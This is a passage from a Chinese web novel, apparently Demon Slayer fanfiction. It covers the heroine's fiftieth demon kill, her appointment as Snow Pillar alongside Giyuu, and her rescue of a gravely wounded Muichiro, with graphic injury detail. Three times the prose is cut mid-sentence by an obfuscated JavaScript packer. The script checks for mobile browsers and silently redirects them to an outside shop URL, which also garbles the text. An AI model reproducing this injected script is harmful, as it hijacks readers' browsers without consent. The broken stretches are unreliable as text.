连一息都没有耽误。 那些裂痕还在,那些黑色的缝合线还在,可她的身体已经恢复了。 鬼站在那里,完好无损。 她笑了。 “好厉害……”她又说了一遍,“真的好厉害……” 她看着雪萤,那双银灰色的眼睛里,满是痴迷。 “这样的身体……我好想要……” —— 雪萤的呼吸开始有些乱了。 这只鬼,斩不死。 不是普通的不死,是真的不死。任何伤口都能瞬间愈合,任何攻击都没有用。 她的头不是弱点。 那弱点在哪? 她需要时间观察。 “柒之型·吹雪·迷途。” 刀光闪过,一片雪雾在周围炸开。那些细碎的冰晶在空中飞舞,形成一道白茫茫的屏障。 鬼被雪雾包围,迷失了方向。 她在雾里转着圈,那些银白色的长发四处扫荡,想要找到她。 “你在哪?”她的声音从雾里传来,带着笑意,“出来呀……让我看看你……” 雪萤没有出声。 她躲在雾里,观察着。 那些头发。那些和服。那个永远愈合的身体。 她看见了什么? 那道细细的红线。 在鬼的脖子上,有一道红线。不是伤疤,是一根真正的线——细细的,红色的,像是用血染成的线。那根线勒在她的脖子上,一头连着身体,一头连着那颗飞行的头。 那是什么? 雪萤忽然明白了。 那不是装饰。那是她存在的根本。那些头发可以断,身体可以劈开,可她只要还连着那根线,就能无限重生。 那根红线,就是她的弱点所在。 如果让她的头再也连接不上去了呢? —— 雪萤从雾里冲出来。 鬼看见她,笑了。 “找到你了——” 她扑过来,那些银白色的长发朝她缠来。 雪萤没有躲。 她迎着那些头发冲上去。 那些头发缠住她的手臂,缠住她的腰,缠住她的腿。冰冷的,滑腻的,像是无数条蛇。她挣不开,可她也不需要挣开。 她只需要一刀。 斩向那根红线。 “玖之型·冰河。” 刀光连绵不绝,一刀接一刀,全部斩向同一个地方。 那根勒在脖子上的红线。 三百刀。四百刀。五百刀。 鬼的惨叫声响起。 那些头发松开了,那些和服散落了。她的身体在颤抖,她的头在尖叫,那根红线在刀光下开始松动,开始断裂。 可她没有停。 六百刀。七百刀。八百刀。 那根红线终于断了。 鬼的头飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444172|201074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了起来,可这一次,它没有落回去。它飞在空中,想要逃,可身体已经倒下了,再也没有东西能把它接回去。 雪萤追上那颗头。 那颗美丽的头,那些银白色的长发,那双银灰色的眼睛。此刻那双眼睛里,满是恐惧。 “不——不——!” 最后一刀。 刀光斩落。 那颗美丽的头颅,从中间裂开。 —— 灰烬飘散。 那些银白色的长发,那些布满裂痕的白色和服,那些永远愈合的身体,全都化成灰烬,被风吹散。 只有那根红线,在月光下闪了一闪,然后也消失了。 雪萤收刀,站在那里。 月光从破洞照进来,落在她身上。 她浑身都是汗,浑身都是伤口。那些头发在她身上留下一道道血痕,衣服破了几个口子,露出底下白皙的皮肤。可那些伤口不深,只是皮外伤。 她站着。 脊背挺得笔直。 深蓝色的长发被汗水沾湿,几缕贴在脸颊上,衬得那张脸越发白皙。月光落在她脸上,照出那因为剧烈战斗而泛起的淡淡红晕,也照出那双眼睛里的光。 她看着那些飘散的灰烬,嘴唇轻轻动了动。 “五十。” 那两个字很轻,轻得像一片雪落在地上。 可那轻里,有两年半的时光,有四十九次战斗,有无数个不眠的夜晚,有无数次差点死去的瞬间。 五十只鬼。 她做到了。 —— 小雪从树上飞下来,落在她肩上。 它没有叫。 只是用脑袋蹭蹭她的脸颊。一下,两下,三下。比平时轻,像是在怕弄疼她。然后又啄啄她的耳垂。一下,两下,三下。 那是它在说:辛苦了。没事了。我在呢。 雪萤看着它,笑了。 那笑容很轻,很柔,像是月光落在水面上。 “谢谢你,小雪。” 小雪蹭蹭她的手心。 然后它低头,用喙轻轻啄了啄自己爪子上的红绳。 那红绳还在。缠得紧紧的,从来没有掉过。 雪萤伸出手,摸了摸它的头。 “走吧。” —— 她走出神社,走下石阶,穿过鸟居。 月光照在她身上,把她的影子拉得很长。 风从远处吹来,吹起她的长发。那些深蓝色的发丝在月光下飘动,像是融进了夜色里,又像是从夜色里生出来的光。几缕碎发拂过她的脸颊,又被风吹开,露出那双沉静的眼睛。 她抬起头,望着那轮月亮。 今晚的月亮很圆,很亮。 像是也在看着她。 月光落在她身上,给她整个人镀上一层淡淡的银边。那些伤口还在,那些血痕还在,可她就那样站着,像一株在月光下静静生长的白梅。 她忽然想起一个人。 想起那个沉默的少年,穿着那件旧衣服,站在月光下的样子。 想起他说“我会追上的”时,那双眼睛里的光。 她笑了。 “你追上了吗?”她轻声问。 —— 远处,隐的人已经开始清理战场了。 山田站在神社外,看着那个从月光里走出来的少女,愣了很久。 他见过很多鬼杀队员,见过很多柱,见过很多厉害的人。 可从来没有见过这样的。 她站在那里,像一棵树一样稳,像一座山一样静。 月光落在她身上,照出那深蓝色的长发,那白皙的皮肤,那沉静的眼睛。那些发丝在月光下轻轻飘动,像是在和夜风说着什么。 他忽然想起很多年前,第一次见到她的时候。 那时候的她,小小的,软软的,跟在主公后面。 现在她十五岁了。 杀了五十只鬼。 就在今晚她成为柱了。 山田忽然有些感慨。 他走过去,朝她微微躬身。 “辛苦了。” 雪萤看着他,轻轻笑了。 那笑容很淡,淡得像月光落在水面上。 “剩下的,拜托你们了。”她说。 山田点点头。 “交给我们。” 雪萤转身,慢慢走进夜色里。 小雪蹲在她肩上,黑亮的眼睛望着前方。 一人一鸟,渐渐消失在路的尽头。 —— 山田站在那里,看着那个方向,看了很久。 然后他叹了口气。 “真是……”他轻声说,“让人移不开眼睛啊。” 旁边的同事凑过来。 “什么?” 山田摇摇头。 “没什么。干活吧。” 他们转身,走进神社。 身后,月光静静地照着。 照着那些灰烬,照着那条长长的石阶,照着那个远去的方向。 那个叫雪萤的少女,已经走远了。 可她的影子,还留在这里。 33. 雪柱与水柱 天边刚刚泛起鱼肚白,小雪就落在了雪萤的枕边。 它用脑袋蹭蹭她的脸颊,一下,两下,三下。然后又啄啄她的耳垂,一下,两下,三下。 雪萤睁开眼睛,看着它。 “怎么了?” 小雪从翅膀下面叼出一卷小纸条,递给她。 雪萤展开纸条,上面只有一行字: “任务完成,速归。——父” 她愣了一下,然后笑了。 “要回家了么?” 她伸出手,轻轻抚摸着小雪的头。小雪眯起眼睛,发出舒服的“咕咕”声,又往她手心里蹭了蹭。 两年了。 两年在外奔波,从一个镇子到另一个镇子,从一只鬼到另一只鬼。她睡过破庙,住过柴房,在野外露宿过无数次。 现在,她可以回家了。 她坐起来,望着窗外渐渐亮起来的天空,嘴角的笑意怎么都压不下去。 回家。 真好。 —— 产屋敷家的宅邸,还是老样子。 那扇门,那个院子,那棵梅树。一切都和她离开时一样。 可雪萤知道,不一样的是她自己。 她站在门口,深吸一口气,推开门。 院子里,站着两个人。 耀哉坐在廊下,红色的纹路比两年前又深了一些,从额头蔓延到脸颊,蔓延到脖颈。可那双眼睛望着她的时候,还是那么温柔,那么亮。 天音站在他身边,白色的长发在晨光里泛着柔和的光。她的眼眶微微有些红,可她在笑。 雪萤走过去,在他们面前跪下。 “爹爹,娘亲,雪萤回来了。” 耀哉看着她。 阳光里,十五岁的少女跪在地上。深蓝色的长发如瀑布般垂落,在阳光下泛着幽深的光泽。几缕碎发垂在脸侧,衬得那张脸越发白皙。那双蓝紫色的眼睛望着他,里面有光,有笑,也有两年来无数次战斗留下的痕迹——是锋利,是沉静,是勇气。 她的身量更高了,比两年前高出整整半头。素白的队服穿在身上,勾勒出少女纤细却有力的轮廓。手臂上隐约可见几道疤痕,那是她活着的证明。 耀哉看着她,看了很久很久。 然后他笑了。 那笑容里,有欣慰,有骄傲,也有一点点——心疼。 “起来。”他说,声音还是那么温柔,“到爹爹这儿来。” 雪萤站起来,走过去,扑进他怀里。 耀哉抱着她,轻轻拍着她的背。那动作,和小时候一模一样。 “雪萤,”他说,“你做到了。” 雪萤把脸埋在他怀里,用力点头。 “嗯。” 天音走过来,伸出手,把她们两个一起抱住。 她的眼泪落在雪萤的头发上,可她在笑。 “我的雪萤,”她说,“我的雪萤回来了。” —— “姐姐——!” 五个声音同时响起。 雪萤抬起头,就看见五个身影从屋里冲出来,朝她扑过来。 辉利哉跑在最前面,七岁的男孩,深蓝色的头发和她一模一样,小脸已经有了几分少年的轮廓。他跑得很快,可跑到她面前,他又停下来,端端正正地站好。 “姐姐,欢迎回家。” 他的声音还是那么沉稳,可他的眼睛出卖了他。那双蓝紫色的眼睛里,亮晶晶的,全是开心。 雪萤伸出手,揉了揉他的发顶。 “辉利哉,长高了。” 辉利哉的耳朵微微红了一下。 后面四个妹妹也跑过来了。 雏衣穿着淡粉色的和服,跑到她面前,仰着脸看她。 “姐姐,我好想你。” 日香穿着浅紫色的和服,站在雏衣旁边,用力点头。 “我也是我也是!” 彼方穿着鹅黄色的和服,叽叽喳喳地说个不停。 “姐姐你终于回来了!你知不知道我们等了你多久?两年诶!两年!辉利哉每天都要在门口看,看你是不是回来了……” 辉利哉的耳朵更红了。 “彼方,别说了……” 杭奈穿着浅绿色的和服,她跑到雪萤面前,一把抱住她的腿。 “姐姐,杭奈好想你。” 雪萤低头看着她们,眼眶有些热。 她蹲下来,把杭奈抱起来,又伸出手,把其他四个孩子都揽进怀里。 “姐姐也想你们。”她说,“每天都在想。” 五个孩子挤在她身边,叽叽喳喳地说着话。 阳光暖暖地照着。 —— 下午,柱合会议在正厅举行。 雪萤换上了正式的队服,深蓝色的长发高高束起,露出光洁的额头和那双沉静的眼睛。她深吸一口气,推开门。 里面已经坐了几个人。 第一个映入眼帘的,是宇髄天元。 他靠在门框上,双手抱在胸前,嘴角勾着一个大大的笑容。深紫色的衣袍,腰间系着金色的带子,额头上缠着镶满宝石的头带,整个人在阳光下闪闪发光。 他看见雪萤,眼睛一下子亮了。 “哟!小公主!” 他大步走过来,上上下下打量着她。 “两年斩杀五十只鬼,这速度,被你赶上了!” 雪萤笑了。 “天元哥哥。” 宇髄得意地扬了扬下巴。 “啊来啊来,小公主,你做到了!” 话音刚落,他的牙齿闪了一下。 雪萤看着那闪光的牙齿,忍不住笑出声。 “天元哥哥还是老样子。” 宇髄哈哈大笑。 —— 旁边传来轻轻的抽泣声。 雪萤转过头,看见悲鸣屿行冥坐在角落里,正用手帕擦着眼泪。 那块手帕已经有些褪色了,可还是叠得整整齐齐的,角上那朵小小的雪花还依稀可见。 “悲鸣屿先生?” 悲鸣屿抬起头,“看”着她。 “多么强大的毅力和实力啊。”他说,眼泪又流了下来,“小公主一定付出了常人无法想象的努力。” 雪萤走过去,在他面前蹲下。 “悲鸣屿先生,您还是这么爱哭。” 悲鸣屿用手帕擦了擦眼泪。 “改不掉了。” 雪萤笑了。 “没事。”她说,“我喜欢看您哭。” 悲鸣屿愣了一下,然后也笑了。 那笑容很浅,可雪萤看见了。 —— 宇髄的声音从旁边传来。 “说到努力,那家伙也在追赶你吧。” 他朝窗外努了努下巴。 雪萤顺着他的目光望去。 院子里,有一棵老树。树下站着一个人。 他靠在那里,低着头,一言不发。身上穿着那件旧衣服——左边的袖子颜色深一些,右边的袖子颜色浅一些。 富冈义勇。 阳光透过树叶落在他身上,斑驳的光影在他脸上晃动。他似乎感觉到了什么,抬起头,朝这边看了一眼。 四目相对。 雪萤笑了。 义勇的耳朵,微微红了一下。 他移开目光,看向别处。 宇髄在旁边啧啧两声。 “现在的年轻人,真是了不起。” —— “雪萤!” 一个洪亮的声音从身后传来。 雪萤转过身,就看见炼狱杏寿郎大步走过来。 金红色的头发像燃烧的火焰,在阳光下熠熠生辉。眉毛又粗又浓,眼睛亮得惊人,像是永远燃烧着火焰。他穿着一身白色的队服,外面披着火焰纹的羽织,整个人像一团移动的烈火。 他走到她面前,一把抓住她的肩膀。 “恭喜你!” 他的声音震得雪萤耳朵嗡嗡响,整个正厅都在回荡。 “两年斩杀五十只鬼,非常出色!非常出色!” 他用力晃了晃她的肩膀,晃得雪萤脑袋发晕。 雪萤被他晃得站不稳,可她还是笑着。 “杏寿郎哥哥,你的手还是这么重。” 杏寿郎哈哈大笑,松开手,拍了拍她的背。 “那当然!没有力气怎么当柱!” 他顿了顿,又补了一句: “义勇也是!那小子也杀了五十只!你们俩真是——真是太好了!” 他说着,又用力拍了拍雪萤的肩膀,差点把她拍趴下。 —— “雪萤小姐。” 一个温柔的声音从旁边传来。 雪萤转过头,看见蝴蝶香奈惠站在那里。 紫色的长发如瀑布般垂落,在灯光下泛着柔和的光泽。那双盈盈的紫眸含着笑意,像是春日的湖水。她穿着一身素净的和服,外面披着那件绣满蝴蝶的羽织,粉的、紫的、白的蝴蝶在白色的底子上飞舞,随着她的呼吸轻轻颤动。 她就那样站在那里,像一朵刚刚盛开的紫藤花。 雪萤的眼睛一下子亮了。 “香奈惠姐姐!” 她快步走过去,在香奈惠面前停下。 香奈惠看着她,目光温柔如水。 “两年不见,长高了。”她说,“也更好看了。” 雪萤的脸微微红了一下。 “姐姐还是这么会说话。” 香奈惠笑了,那笑容比阳光还温柔。 “听说你杀了五十只鬼?”她轻声说,“很辛苦吧?” 雪萤摇摇头。 “不辛苦。” 香奈惠看着她,那双紫色的眼睛里有一点心疼。 “我知道的。”她说,“你一定很努力。” 雪萤愣了一下。 然后她笑了。 “嗯。”她说,“很努力。” 香奈惠伸出手,轻轻摸了摸她的头。 那动作,和五年前一模一样。掌心里的头发,又软又滑,带着阳光的温度。 —— 旁边忽然传来一阵轻微的动静。 雪萤转过头,看见几个人陆续走进来。 第一个是伊黑小芭内。 他身材高瘦,黑色的长发扎成低马尾,垂在肩后。一张脸棱角分明,眉眼冷峻,嘴角微微向下,像是永远不太高兴的样子。他的脖子上缠着一条白蛇,那蛇吐着信子,跟着他一起打量四周。 他穿着一身深色的衣服,腰间系着刀,整个人透着一股生人勿近的气息。 他走进来,目光扫过众人,在雪萤身上停了一瞬。 然后他轻轻点了点头。 算是打招呼。 雪萤也朝他点点头。 那条白蛇吐了吐信子,像是在打量她。 —— 第二个是不死川实弥。 他比伊黑更张扬一些。银白色的短发根根竖起,像刺猬一样。脸上有几道疤痕,从左眉一直延伸到颧骨,看起来有些吓人。眉眼里全是桀骜不驯,像是谁都看不顺眼。 他穿着一身敞怀的队服,露出精壮的胸膛和满身的伤痕。腰间的刀比别人的都大一号,刀柄缠着粗糙的布条。 他走进来,大喇喇地找了个地方坐下,翘起二郎腿。 “哟。”他朝雪萤扬了扬下巴,“新来的?” 雪萤点点头。 “产屋敷雪萤。” 不死川笑了一声,露出一口白牙。 “我知道。主公的女儿嘛。” 他上下打量了她一眼,目光在她手臂的疤痕上停了一瞬。 “五十只?还行。” 说完,他就别过头去,不再看她。 —— 第三个是甘露寺蜜璃。 她走进来的那一刻,整个正厅都亮了几分。 粉色的长发扎成两个辫子,垂在胸前,发尾系着大大的蝴蝶结。眼睛又大又圆,亮晶晶的,像藏着星星。睫毛又长又翘,忽闪忽闪的,可爱极了。 她的队服和别人的不一样,是改良过的,露出一截白皙的腰肢。她的身材很好,好得让人移不开眼睛。可她本人似乎完全没有意识到这一点,只是开心地四处张望。 她看见雪萤,眼睛一下子瞪圆了。 “哇——!” 她快步走过来,围着雪萤转了两圈。 “好漂亮的女孩子!”她的声音又软又甜,像棉花糖一样,“像雪一样美丽呢!” 她双手捧心,眼睛里全是星星。 “啊啊,好想抱一抱呢!” 她说着,就张开双臂,朝雪萤扑过来。 雪萤愣了一下,还没反应过来,就被她抱了个满怀。 “好软……”甘露寺把脸埋在雪萤肩上,满足地叹了口气,“好香……好舒服……” 雪萤僵在那里,不知道该说什么。 香奈惠在旁边轻轻笑了。 “蜜璃,你吓到她了。” 甘露寺这才松开手,退后一步,有些不好意思地笑了笑。她的脸颊红红的,像是熟透的苹果。 “对不起对不起,我太激动了。”她说,又凑近了一点,“我叫甘露寺蜜璃,你可以叫我蜜璃姐姐!以后我们就是同伴了,要好好相处哦!” 她说着,又忍不住伸手捏了捏雪萤的脸。 “好软 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444173|201074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 雪萤看着她那双亮晶晶的眼睛,忍不住笑了。 “蜜璃姐姐。” 甘露寺的眼睛又亮了。 “啊啊,她叫我姐姐了!” 她又想扑过来,被香奈惠眼疾手快地拦住了。 —— 人终于到齐了。 正厅里安静下来。 耀哉从侧门走进来,在主位上坐下。 他的脸上,红色的纹路比两年前更深了。可他的眼睛还是那么温柔,他的声音还是那么好听。 众人端坐,静静听着。 “今天召集大家,有几件事要宣布。” 耀哉的目光缓缓扫过众人,最后落在雪萤和义勇身上。 “第一件。” 他的声音在正厅里回荡。 “产屋敷雪萤,富冈义勇。” 雪萤的心跳了一下。 “两年多来,你们各自斩杀了五十只鬼,战绩卓著。” 耀哉顿了顿。 “从今天起,产屋敷雪萤,正式成为雪柱。” 雪萤低下头,心里涌起一股说不清的感觉。 雪柱。 她做到了。 那个八岁时爬上雪山的女孩,那个在风雪里差点死掉的女孩,那个每天挥刀一万下的女孩——现在,是柱了。 “富冈义勇,正式成为水柱。” 雪萤转过头,看向那个坐在角落里的少年。 他低着头,看不清表情。 —— “恭喜你们。”耀哉说。 众人齐声道贺。 悲鸣屿用手帕擦着眼泪,一边擦一边说:“太好了……太好了……” 宇髄吹了一声口哨:“华丽!” 杏寿郎用力鼓掌,那掌声震得屋顶都要掀翻了。 香奈惠温柔地笑着,朝雪萤点点头。 伊黑轻轻点了点头,算是祝贺。 不死川“啧”了一声,却也没说什么。 甘露寺激动得差点跳起来,被香奈惠按住了。 雪萤站起来,朝耀哉深深鞠躬。 “谢谢爹爹。” 耀哉看着她,轻轻笑了。 “去吧。”他说,“那是你该站的位置。” 雪萤转过身,走向属于她的位置。 雪柱。 她走过宇髄身边,他朝她竖起大拇指。 她走过悲鸣屿身边,他用手帕擦着眼泪。 她走过杏寿郎身边,他用力拍了拍她的肩膀。 她走过香奈惠身边,她朝她温柔地笑。 她走过伊黑身边,他朝她点点头。 她走过不死川身边,他哼了一声,却没说什么。 她走过甘露寺身边,她激动得差点又扑过来。 最后,她站在自己的位置上。 转过头,她看见义勇也站了起来。 他走到水柱的位置,站在那里。 两个人隔着正厅,对望了一眼。 雪萤笑了。 义勇的嘴角,微微弯了一下。 只是一下。 可那一下,已经很难得了。 —— 耀哉的声音继续响起。 “鬼杀队又注入了新的力量。”他说,“这是值得庆贺的事。” 众人点头。 “接下来的任务……” 他顿了顿,目光扫过众人。 “最近有消息称,上弦之鬼活动频繁。各地都有目击报告。” 正厅里的气氛一下子凝重起来。 “雪柱,水柱。” 雪萤和义勇同时抬起头。 “你们刚成为柱,需要更多的历练。”耀哉说,“接下来的任务,会比其他队员更危险。你们准备好了吗?” 雪萤看着他,那双蓝紫色的眼睛里满是坚定。 “准备好了。” 义勇也点了点头。 耀哉笑了。 “好。” 他顿了顿,又说: “散会。” —— 众人陆续离开。 雪萤走出正厅,站在院子里,望着渐渐暗下来的天空。 晚霞把天边染成橘红色,像燃烧的火焰。几颗星星已经亮了起来,在深蓝色的天幕上闪烁着。 身后传来熟悉的脚步声。 她没有回头,嘴角却微微弯了起来。 那个人走到她身边,停下来。 两个人并肩站着,望着同一片天空。 谁都没有说话。 可那种沉默,不让人觉得尴尬。像是本来就该这样。 风吹过,吹起她的发丝,几缕深蓝色的长发轻轻飘动,拂过他的手臂。他的身体微微一僵,却没有移开。 过了很久,雪萤忽然开口: “我们的约定,”她的声音很轻,轻得像一片雪落在水面上,“你还记得吗?” 义勇转过头,看着她。 晚霞的余晖落在她脸上,给她的侧脸镀上一层柔和的金光。那双蓝紫色的眼睛望着他,里面有光,有笑,也有一种他从未见过的温柔。 他沉默了一会儿,然后点点头。 “……记得。” 雪萤笑了。 那笑容,比晚霞还好看。 “那就好。”她说,“现在,你要答应我一件事了。” 义勇看着她,等着她说下去。 可她没有说。 她只是看着他,眼睛里藏着一点小小的狡黠。 “现在还不能告诉你。”她说,“等我想好了再说。” 义勇愣了一下。 然后他点了点头。 “……好。” 雪萤笑得更开心了。 风吹过,吹起她的长发,也吹起他的衣角。 两个人站在那里,一个在笑,一个在看。 很久很久。 —— 远处,宇髄靠在门框上,看着那两个并肩而立的身影,啧啧两声。 “现在的年轻人啊……” 悲鸣屿站在他旁边,用手帕擦了擦眼角。 “真好……真好……” 杏寿郎大步走过来,拍了拍他们俩的肩膀。 “走!去喝酒庆祝!” 宇髄被拍得一个踉跄。 “喂喂,轻点……” 悲鸣屿又被拍出了眼泪。 杏寿郎哈哈大笑。 笑声在院子里回荡。 惊起了树上的鸟。 也惊起了那两个人的目光。 他们对望一眼,然后都笑了。 —— 新的时代,开始了。 34. 时透无一郎 雪萤收刀入鞘的时候,天边刚刚泛起鱼肚白。 又一只鬼。下弦之下,不值一提。 她深吸一口气,正要离开,远处传来熟悉的翅膀拍动声。 小雪从晨雾里飞出来,落在她肩上。它用脑袋蹭蹭她的脸颊,一下,两下,三下,然后从翅膀下面叼出一封信。 雪萤展开信纸,是娘亲的字迹。 “雪萤,娘亲有一事相托。深山里住着一对兄弟,时透有一郎和时透无一郎。他们的父母去世后,两个孩子独自生活。娘亲一直惦记着他们,但近日事务缠身,无法亲自前往。你若有空,替娘亲去看看他们是否安好。切记,只是看看,莫要惊扰。” 雪萤看着信,嘴角浮起一丝笑意。 娘亲总是这样。心里装着太多人,太多事。哪怕是深山里的两个孩子,她也记挂着。 她把信叠好,收入怀中,抬起头,望着远处隐隐约约的山影。 那座山,被晨雾笼罩着,看不真切。 “走吧,小雪。”她说,“我们去看看,让娘亲惦记的两个孩子。” 小雪“咕”一声,振翅飞起,在前面带路。 雪萤跟上去,一人一鸟,消失在晨雾里。 —— 山路很长。 雪萤走了一个多时辰,才隐隐约约看见山腰处那座破旧的木屋。 木屋很小,孤零零地立在那里,四周都是树。屋顶的茅草已经稀疏,墙壁上裂着几道缝,看起来随时都会倒塌。 雪萤正要加快脚步,忽然停下。 她的鼻子动了动。 一股味道。 很淡,可她太熟悉了。 那是鬼的味道。 还有—— 风中夹杂着的,是尸体的腥臭。腐烂的,浓烈的,让人作呕的味道。 她的眼睛一下子变得锋利起来。 “小雪。” 小雪立刻明白她的意思,飞起来,盘旋在高处。 雪萤深吸一口气,整个人像一道风,朝那间木屋掠去。 —— 门是虚掩的。 她推开门。 然后她停住了。 一股浓烈的腐臭味扑面而来,熏得她几乎要后退。苍蝇嗡嗡地飞着,密密麻麻,在屋里乱撞。地上、墙上、榻上,到处都是血。 已经干涸的、发黑的血。 雪萤的目光扫过屋里,然后定住了。 墙角里,蜷着两个小小的身影。 她冲过去。 —— 第一个孩子,已经死了。 他看起来只有十来岁,穿着破旧的衣服,头发乱糟糟地遮住了半边脸。他的左臂断了,断口处血肉模糊,已经腐烂发黑。苍蝇在他身上爬来爬去,蛆虫在伤口里蠕动,钻进钻出,贪婪地啃食着那已经开始腐败的皮肉。 他的眼睛睁着,空洞洞的,望着某个方向。 雪萤伸出手,轻轻覆上他的眼睛。 “对不起。”她轻声说,声音有些哑,“我来晚了。” 她没有时间悲伤。 旁边还有一个。 她转向第二个孩子。 他比第一个小一些,蜷缩在那里,像一只破碎的娃娃。他的衣服被撕烂了,露出来的皮肤上全是伤口——抓痕,咬痕,撕裂的伤口。有些伤口已经发黑,有些还在渗血。那些还在流血的伤口里,蛆虫正在蠕动,钻在翻开的血肉里,贪婪地啃食着他的生机。 他睁着眼睛。 那双眼睛很大,很空,像是两颗失去了光泽的玻璃珠。他望着某个方向,可那眼睛里什么都没有。没有焦点,没有意识,没有活人的光。仿佛他的灵魂已经死了,只剩这具残破的躯壳还在这里喘息。 雪萤的眼泪,一下子涌了出来。 可她顾不上擦。 她跪下来,开始施救。 —— 她解下腰间的包袱,取出随身携带的清水。 “没事的。”她轻声说,不知道是在安慰他,还是在安慰自己,“没事的。” 她用清水冲洗那些还在渗血的伤口。水流过那些翻开的血肉,带走了一些蛆虫,也冲淡了一些血迹。那些蛆虫被水流冲下来,落在地上,还在蠕动。她一根一根挑出来,用脚踩死。 那孩子一动不动。 没有躲,没有叫,没有发出任何声音。 仿佛那些伤口不是长在他身上。仿佛那些蛆虫不是在啃食他的血肉。仿佛他已经死了,只剩这具躯壳还在呼吸。 雪萤的手在发抖。 可她不能停。 她撕开自己的衣袖,用干净的布条包扎那些最深的伤口。她的动作很轻,很稳,生怕弄疼了他。可她每包扎一道,那布条就会被血浸透,她只能再加一道。 清水用完了。布条用完了。 可他的伤口还有那么多。 她抬起头,看见那些还在蠕动的蛆虫,看见那些还在渗血的伤口,看见他那张惨白的、毫无血色的脸。 她忽然不知道该做什么了。 她不是医师。她只会杀鬼,不会救人。 她只能守着他。 等着小雪带人来。 —— “小雪。”她低声说。 小雪从门口飞进来,落在她肩上。它的喙上沾着血迹,不知道是从哪里弄来的,可它顾不上擦,只是用黑亮的眼睛看着她。 “去最近的隐组。”雪萤说,“找医师来。要快。” 小雪蹭蹭她的脸颊,然后像箭一样飞了出去。 —— 屋里只剩下她和这个孩子。 雪萤继续处理他的伤口。 她用剩下的布条包扎,用从伤口里挑出来的蛆虫,用她能想到的一切办法。她知道这些不够,可她只能做这些。 那孩子一动不动。 没有任何反应。 仿佛那些疼,那些伤口,那些正在啃食他的蛆虫,都与他无关。 雪萤看着他,眼眶又湿了。 她见过很多惨状。见过被鬼撕碎的人,见过临死前挣扎的人,见过绝望到放弃的人。 可从来没有见过这样的。 一个活着的孩子,却像死了一样。 那些伤口,该有多疼。 可他一声不吭。 连哼都没有哼一声。 她忽然不敢想,这孩子经历了什么。 看着他哥哥死在他面前?还是被那只鬼一点一点撕咬,却逃不掉?还是在黑暗中等了很久很久,等不到人来救,只能看着自己慢慢腐烂? 她不知道。 可她忽然好心疼。 心疼得想抱住他。 可她不敢碰他。他已经受了太多伤,她怕再弄疼他。 她只能守着他。 守着他。 —— 太阳渐渐西斜。 夕阳从破旧的窗口照进来,落在屋里,落在那些血迹上,也落在他们身上。 雪萤一直跪在那里,守着他。 她不知道这孩子能不能撑到医师来。 她不知道他是不是也想放弃。 她只能守着他。 忽然,那孩子的眼睛动了一下。 很轻微的一下。 可雪萤看见了。 她屏住呼吸,看着他。 —— 那双空洞的眼睛,慢慢有了焦点。 很慢,很慢,像是从很深很深的地方浮上来。像是溺水的人,一点一点浮出水面。像是迷路的人,终于看见了光。 他看见了什么? 他看见了光。 夕阳从门口照进来,落在她身上。 她就跪在他面前。 深蓝色的长发被夕阳染成金红色,一缕一缕垂落,像融化的金子,像流动的霞光。那些发丝软软地垂下来,有几缕拂过他的脸,带着阳光的温度,像是温柔的抚摸。 她的脸浸在夕阳里,白皙的皮肤被镀上一层柔和的金色。那金色从她的额角流淌下来,漫过她的眉眼,漫过她的脸颊,漫过她微微抿着的嘴唇。她的睫毛很长,被夕阳勾出一圈细细的毛边,像两片金色的羽毛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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会在他最疼的时候出现。 会跪在他面前救他。 会用那样的眼神看着他。 会发光。 —— 远处,终于传来了脚步声。 医师来了。隐组的人来了。 雪萤站起来,退后一步。 她看着那孩子,轻轻说: “你会没事的。” 那孩子看着她。 他的嘴唇动了动,没有发出声音。 可他的眼睛,还在看着她。 一直看着。 直到医师把他抬走,直到夕阳完全落下,直到她消失在黑暗里。 他还在看。 他不知道她是谁。 可他知道,他记住了。 那双眼睛。那道目光。那道温柔坚定的光。 他记住了。 —— 那一夜,雪萤站在山巅,望着那间被医师围住的木屋。 小雪蹲在她肩上,轻轻啄啄她的耳垂。 “他活下来了。”她轻声说。 小雪蹭蹭她的脸颊。 雪萤望着远方,目光深远。 “可他的兄弟死了。” 小雪没有叫。 只是又蹭了蹭她。 风从远处吹来,吹起她的长发。 她忽然想起那孩子的眼神。 那双空洞的眼睛,在看见她的那一瞬间,忽然有了光。 那光很微弱,像是风中残烛。 可她看见了。 她忽然有些庆幸。 庆幸自己来得及时。 庆幸那孩子还活着。 庆幸…… 她说不清庆幸什么。 只是觉得,那一瞬间,有什么东西,在那孩子眼里亮起来的时候,也照亮了她心里某个角落。 —— 她不知道那个孩子叫什么。 可她记住了那双眼睛。 那双在黑暗中忽然亮起来的眼睛。 像是找到了什么。 像是等到了什么。 35. 她可以听到我的心声 无一郎醒来的时候,第一眼看见的不是屋顶,不是阳光,而是一只蝴蝶。 那只蝴蝶落在窗框上,翅膀是淡紫色的,边缘有一圈细细的白边。它轻轻扇动着翅膀,像是随时要飞走。 他看了很久。 然后他想起了一些事。 光。 有人跪在他面前,为他擦洗伤口,为他挑出那些啃食他的蛆虫,为他流泪。 那个人是谁? 他不知道。 但他只记得那道光。 —— 门被推开了。 